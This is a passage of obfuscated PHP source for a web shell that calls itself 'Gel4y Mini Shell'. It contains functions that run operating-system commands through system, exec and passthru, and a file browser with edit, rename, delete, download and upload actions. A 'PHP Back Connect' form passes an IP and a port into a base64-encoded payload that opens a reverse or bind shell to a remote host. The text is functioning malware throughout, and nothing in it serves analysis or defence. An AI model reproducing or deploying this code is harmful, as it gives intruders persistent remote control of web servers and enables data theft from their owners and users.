goto w0M1Hs2RaI;
pmA_RXTG2H:
foreach ($htHTK6yRnX as $DWC35O18yz) {
$GpjllTmONM .= $DWC35O18yz;
K7EykltkhG:
}
goto l7Sy_e2gNs;
leFmMK27js:
@ob_end_clean();
goto lYPPssvZnN;
kPjOic6Y0y:
LWJqpq8yIR:
goto DD2lPqxmMz;
C5BvoqV0QO:
goto Aa1Xj7bvHV;
goto Gj6CvS2ymR;
lqJmw679pi:
$GpjllTmONM = '';
goto pmA_RXTG2H;
ZFOEwZlXbP:
$GpjllTmONM = @ob_get_contents();
goto leFmMK27js;
hZKcepEUr9:
@passthru($uzNaDUYhmE);
goto XSHObW431y;
mrrLrvO2_2:
@exec($uzNaDUYhmE, $htHTK6yRnX);
goto lqJmw679pi;
wqKjdERcuI:
return $GpjllTmONM;
goto gBHH0bU_b0;
UwvldCMoKq:
@ob_start();
goto g2B36laNqw;
Gj6CvS2ymR:
ZL1i5x7vAp:
goto BQbLSRTLBg;
g2B36laNqw:
@system($uzNaDUYhmE);
goto ZFOEwZlXbP;
xvdvg7ah0M:
ShitZ_fqN0:
goto UwvldCMoKq;
BQbLSRTLBg:
$GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);
goto EEr5NKol9z;
gBHH0bU_b0:
goto Aa1Xj7bvHV;
goto kPjOic6Y0y;
ncZJ9fHIca:
}
goto LcspiVxgnz;
se4fG1bBsx:
ji_iynjOca:
goto mwiid_zmqA;
Y2JbRwIzN2:
echo 'Finished...';
goto GOgo5L4_m1;
uZLJEXNBXC:
foreach ($fgiEl2SFA1 as $rn5LpfN5ed) {
goto TPhDQkESfw;
jS1wS_J3NZ:
$nWFrSLIRip = $nWFrSLIRip > 1024 ? round($nWFrSLIRip / 1024, 2) . "MB" : $nWFrSLIRip . "KB";
goto s4ZD82W7si;
TPhDQkESfw:
if (is_file("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) {
goto r7XRlRbOPb;
}
goto vv8Mn2Xk4q;
vv8Mn2Xk4q:
goto klWD96HxTP;
goto toECwsZyAp;
toECwsZyAp:
r7XRlRbOPb:
goto evSeCa9Ebj;
TfHb3SJszc:
$nWFrSLIRip = round($nWFrSLIRip, 3);
goto jS1wS_J3NZ;
oNCyMMeqOT:
klWD96HxTP:
goto rv2fcrMmui;
evSeCa9Ebj:
$nWFrSLIRip = filesize("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") / 1024;
goto TfHb3SJszc;
s4ZD82W7si:
echo "<tr>\n\t        <td><a href=\"?l=" . rxefbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXEFbn6HEY("view", 0) . "&n=" . RxEFBN6heY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) . "\"><i class=\"fa fa-fw fa-file" . ($_SERVER["SCRIPT_FILENAME"] == "{$EEfZ6TZDdb}/{$rn5LpfN5ed}" ? " text-danger" : "") . "\"></i> {$rn5LpfN5ed}</a></td>\n\t        <td>{$nWFrSLIRip}</td>\n\t        <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "red" : null)) . "\">" . HRXkaTtukj("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") . "</font></td>\n\t        <td>\n\t          <div class=\"d-flex justify-content-between\">\n\t            <a href=\"?l=" . RXeFbN6HEY($EEfZ6TZDdb, 0) . "&a=" . rxeFBN6hey("edit", 0) . "&n=" . RXeFBN6HEY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t            <a href=\"?l=" . RXeFBn6hey($EEfZ6TZDdb, 0) . "&a=" . RXeFBn6HeY("rename", 0) . "&n=" . rXEfbN6hEY($rn5LpfN5ed, 0) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t            <a href=\"?l=" . rxeFbN6HEy($EEfZ6TZDdb, 0) . "&n=" . RXEFbN6HeY($rn5LpfN5ed, 0) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t            <a href=\"?l=" . RxEFBn6Hey($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6heY("delete", 0) . "&n=" . rxEfbN6heY($rn5LpfN5ed, 0) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t          </div>\n\t        </td></tr>";
goto oNCyMMeqOT;
rv2fcrMmui:
}
goto se4fG1bBsx;
zWSkrZzsWq:
echo "?l=" . rxefBN6Hey($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6HEy("con", 0);
goto NcDR2cFSK_;
u_4IaYeVy2:
echo RxEfbn6Hey($_GET["n"]);
goto IVRDMHFY4o;
F7zXLBDEK2:
$rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
goto pqYY95BvuW;
hZocDUXtgN:
$rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXVTsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
goto F7zXLBDEK2;
eGmrGMmM7f:
header("Content-Transfer-Encoding: Binary");
goto dFM2sYAJlJ;
MMrXTvXqy7:
?></li>
</ul>
</div>
<form method="post" enctype="multipart/form-data">
<div class="input-group mb-1">
<div class="custom-file">
<input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple>
<label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label>
</div>
</div>
</form>
<?php
goto jz_2zEOwzt;
vTj5YprhCZ:
echo '<div class="my-3">';
goto TTVVoj2zH2;
X31kOqdTx7:
?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php
goto qRqOKZqPSD;
n6KlS76u_Y:
if ($hzOvuJeFzz == "cfile") {
goto UVK2cx0wsu;
}
goto iau78ljYgH;
HD1w0oiEBZ:
goto AmZ_WHgxlE;
goto feaBlZ7eEU;
OS5ItmR5yc:
goto kKHSQjgn8i;
goto wrEbKHulxs;
gl7Tq3BnOV:
oC49Ak4Qpk:
goto NGkY1VE6zp;
JaRFY01HAP:
if ($hzOvuJeFzz == 'rename') {
goto b_Aq_femsk;
}
goto tMkG3v_JBI;
p59Ko9RToC:
?>
</div>
</div>
<article class="bg-dark border table-responsive">
<?php
goto TnhMIgmoXz;
YJ142eHcuW:
echo $_SERVER["REMOTE_ADDR"];
goto errh3t4_bj;
MAe0YHyLaa:
if (!($_GET["t"] == "d")) {
goto Bip4SkFlwd;
}
goto qvSYZCVNk0;
d5oIa6c6mo:
echo rXEfBN6HEy($_GET["n"]);
goto EyVdz_YRmU;
YYviAIE2go:
define("FmHaNw7Sd4", "Gel4y Mini Shell");
goto aebgRtztCr;
NGkY1VE6zp:
?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
goto jP2j_WsoIN;
IWDRDymnkm:
?></a></h3>
</div>
<div>
<span>PHP Version: <?php
goto zvl7rFBRXM;
SdQQ2vh1pk:
?>"><i class="fa fa-terminal"></i></a>
</div>
</div>
<div class="border-top">
<ul style="list-style:none;" class="m-0 p-0">
<li><b>Server</b>: <?php
goto MWacVfk2Z9;
MTQ6j3p_JU:
header("Content-disposition: attachment; filename=\"" . rXEfbn6hey($_GET["n"]) . "\"");
goto DnMdqAJ3M9;
ZNQuKDPR_4:
function bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1) {
$F3VGKH3ww0 = $JpGr27PQID == 1 ? "success" : "error";
echo "<script>swal({title: \"{$F3VGKH3ww0}\", text: \"{$TyHtfHVLGo}\", icon: \"{$F3VGKH3ww0}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?l=" . $IqAFWYu448 . "\"}})</script>";
}
goto aEJlf18Qtu;
iQnuU7UbQZ:
$j78MPlSKil = $j6fm9JkXX3->open($TQjF6JN0Xn[$IKiphkRa67]);
goto knjkHswo6U;
LVUXJeDOyh:
isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
goto Xzf4iJyVK1;
torkRF7nBa:
wBRwvY136L:
goto Hqjr9ld8se;
EfxIdbdntP:
?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php
goto YJ142eHcuW;
OyonV_aXfE:
?></span><br>
<a href="<?php
goto PaYSwvYogS;
dbYRcKsPIp:
goto ZBWF6RSxh7;
goto neVn1XNWmB;
tMkG3v_JBI:
if ($hzOvuJeFzz == 'view') {
goto ZKB22Ixten;
}
goto Vdz113nHJZ;
wKFr1pnzc8:
if (!file_exists($IqAFWYu448)) {
goto W3ggH6skqX;
}
goto QFdg_eyOVo;
ynEoAvZ7Ef:
if (move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {
goto bBFoGpk2eg;
}
goto F9xmKW7KdV;
fhYGKduull:
function q0wfVKUjRs($Isvtvo_Khk) {
goto Uub4h9gkCq;
ulKBIpyXfr:
p9yRrj0I9L:
goto n3O8FXbtxz;
RMYz6RC3Ah:
return;
goto ulKBIpyXfr;
Uub4h9gkCq:
global $dYmVY71pVg;
goto r92XOqmxLW;
iPuafV0c4h:
t5mcNHryHj:
goto Arp7pYvHSx;
r92XOqmxLW:
if (!(trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '')) {
goto p9yRrj0I9L;
}
goto RMYz6RC3Ah;
LTSk29_TNd:
goto t_3eBussG0;
goto iPuafV0c4h;
TrTjxe9V1Z:
t_3eBussG0:
goto Lsc91SF1NQ;
n3O8FXbtxz:
if (is_dir($Isvtvo_Khk)) {
goto t5mcNHryHj;
}
goto tzw5ULHmNH;
Arp7pYvHSx:
array_map("deldir", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
goto W0MZdB17mR;
tzw5ULHmNH:
unlink($Isvtvo_Khk);
goto LTSk29_TNd;
W0MZdB17mR:
rmdir($Isvtvo_Khk);
goto TrTjxe9V1Z;
Lsc91SF1NQ:
}
goto pd2Xp8eNUU;
uLfgP7Khd1:
lgFAN1_7Jm:
goto cS5buQoIBP;
JkRKETx2SF:
if (!($IKiphkRa67 < count($TQjF6JN0Xn))) {
goto HmX9zWMF6z;
}
goto Kv3eqCCcFx;
WNq6fySumu:
NetExxORKl:
goto z_nhs7Cbn7;
aebgRtztCr:
if (isset($_GET['l'])) {
goto kMsRr8KO2i;
}
goto L3Ih6C_82z;
s00fzLO5Yl:
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
goto PigAhONo2f;
mfVsx6oHSn:
foreach ($WekN4aubDI as $x42dyPJI_Q => $iIMh47ezZF) {
goto rj2MyZrB7k;
o5iQ8gJvU5:
goto J4jLfCminm;
goto K8SqFDrXtg;
NXqPv90VJX:
if (!($IKiphkRa67 != $x42dyPJI_Q)) {
goto ORgV2SAthb;
}
goto jM_WWULfOi;
lEe_5VWrji:
prNiQDFSWd:
goto bzTtMV0YbX;
kqueK2Wcit:
goto VcWvq3YT7y;
goto lEe_5VWrji;
K8SqFDrXtg:
WgxzZTQFWr:
goto EqrSyJAzqs;
lrebfMCSex:
$IKiphkRa67 = 0;
goto zLrS5rFG3r;
DYw5CkpSoV:
if (!($iIMh47ezZF == "")) {
goto WgxzZTQFWr;
}
goto o5iQ8gJvU5;
e3PJBKFEd2:
$IKiphkRa67++;
goto kqueK2Wcit;
WyFtfssQJR:
J4jLfCminm:
goto QGOp2JL0z3;
TSaw27ioP1:
goto J4jLfCminm;
goto Qd38t26_IT;
zbZV4IrRXr:
ORgV2SAthb:
goto g1Pvr70JqD;
zLrS5rFG3r:
VcWvq3YT7y:
goto dv4oXQmaUz;
rj2MyZrB7k:
if (!($x42dyPJI_Q == 0 && $iIMh47ezZF == "")) {
goto WsglBdtDxt;
}
goto R5q5By1332;
R5q5By1332:
echo "<a href=\"?l=2f\">~</a>/";
goto TSaw27ioP1;
Qd38t26_IT:
WsglBdtDxt:
goto DYw5CkpSoV;
d9YYcNyoqr:
echo rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);
goto NXqPv90VJX;
g1Pvr70JqD:
xdjW07QcoA:
goto e3PJBKFEd2;
jM_WWULfOi:
echo "2f";
goto zbZV4IrRXr;
bzTtMV0YbX:
echo "\">{$iIMh47ezZF}</a>/";
goto WyFtfssQJR;
dv4oXQmaUz:
if (!($IKiphkRa67 <= $x42dyPJI_Q)) {
goto prNiQDFSWd;
}
goto d9YYcNyoqr;
EqrSyJAzqs:
echo "<a href=\"?l=";
goto lrebfMCSex;
QGOp2JL0z3:
}
goto WX3PBtaAK3;
MOs0Lw2QRZ:
goto ZBWF6RSxh7;
goto pzkU10IQiS;
ZPaDeX38qY:
goto y8tasQLJHv;
goto gl7Tq3BnOV;
neVn1XNWmB:
ZKB22Ixten:
goto egAEX13geb;
gtEtp66eA1:
W3ggH6skqX:
goto EKT_1bSizy;
deRzU3bq7h:
BB5InVuGyh("folder deleted successfully", rxEFbN6Hey($EEfZ6TZDdb, 0));
goto pyjFZoGGnB;
F9xmKW7KdV:
Bb5iNVugyH("file failed to upload", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);
goto OS5ItmR5yc;
EKT_1bSizy:
Bb5inVuGyH("file deleted successfully", RXEfbn6heY($EEfZ6TZDdb, 0));
goto k5kZqV10bb;
cVnxCLLc0W:
vpkSwTQo6s:
goto vaea2TNc3W;
cCui051SEu:
?></li>
<li><b>PHP Uname</b>: <?php
goto FrJD9Jsque;
MvSZRFs0SS:
?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php
goto ygIr4ZdOgL;
P7K6f8_xHe:
?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
goto TGAVCVIxJL;
YSarmTalmX:
kKHSQjgn8i:
goto torkRF7nBa;
wrEbKHulxs:
bBFoGpk2eg:
goto DsIF5JU9Pz;
EdwYtsCOvQ:
goto ZBWF6RSxh7;
goto rPHci82Pdj;
tJJFzbSKwD:
Bb5inVUGYh("file uploaded successfully", RxEfbn6heY($EEfZ6TZDdb, 0));
goto YSarmTalmX;
s2A6_q8Isn:
Bb5INvUgYh("failed to delete the folder", RxefbN6HEY($EEfZ6TZDdb, 0), 0);
goto KvyyfhHz82;
URqiW6LJpm:
header("Content-Type: application/octet-stream");
goto eGmrGMmM7f;
HAtVYbHdyo:
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET["n"]);
goto MAe0YHyLaa;
EY2Ff1XUeK:
?>"><i class="fa fa-plus"></i><i class="fa fa-file"></i></a> |
<a href="<?php
goto zWSkrZzsWq;
pLaaRpww2m:
if (!($_GET["t"] == "f")) {
goto bLvI_Fu3sF;
}
goto J6766bT1wk;
qWSOAipFym:
echo "?l=" . rxefbn6HeY($EEfZ6TZDdb, 0) . "&a=" . rxEFbN6HEY("term", 0);
goto SdQQ2vh1pk;
dNAXwyF5jm:
WChit6Tjkf:
goto uZLJEXNBXC;
Fhxj0LxAwC:
$g9_4Zq7xGB = $_POST['port'];
goto hZocDUXtgN;
k5kZqV10bb:
pXxft1wW2P:
goto kPuh3sB7ZW;
FM1zySo56b:
if (!file_exists($IqAFWYu448)) {
